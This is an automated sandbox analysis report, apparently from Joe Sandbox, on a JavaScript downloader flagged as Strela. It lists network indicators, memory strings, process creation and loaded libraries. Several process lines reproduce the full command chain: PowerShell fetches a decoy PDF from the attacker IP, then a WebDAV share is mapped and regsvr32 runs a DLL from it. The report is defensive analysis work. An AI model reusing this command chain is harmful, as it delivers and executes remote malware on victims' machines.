Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49729

Source: global traffic

TCP traffic: 192.168.2.10:49729 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.10:51960 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49711 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1305203945.000001EB80F24000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1304734795.000001EB82D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1371674448.000002B7808AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1371674448.000002B780878000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1371674448.000002B7808AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8
Source: net.exe, 00000007.00000002.1371674448.000002B780878000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/=
Source: net.exe, 00000007.00000002.1371674448.000002B780878000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: net.exe, 00000007.00000002.1371674448.000002B7808AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/x
Source: svchost.exe, 00000009.00000002.2597770014.0000020FA8800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1370476769.0000020FA8A00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7944, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2949911514285745182.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@4/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nxbkmwdb.mg3.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2949911514285745182.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2949911514285745182.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1620,i,3656808603728211893,16428644544822927007,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1620,i,3656808603728211893,16428644544822927007,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
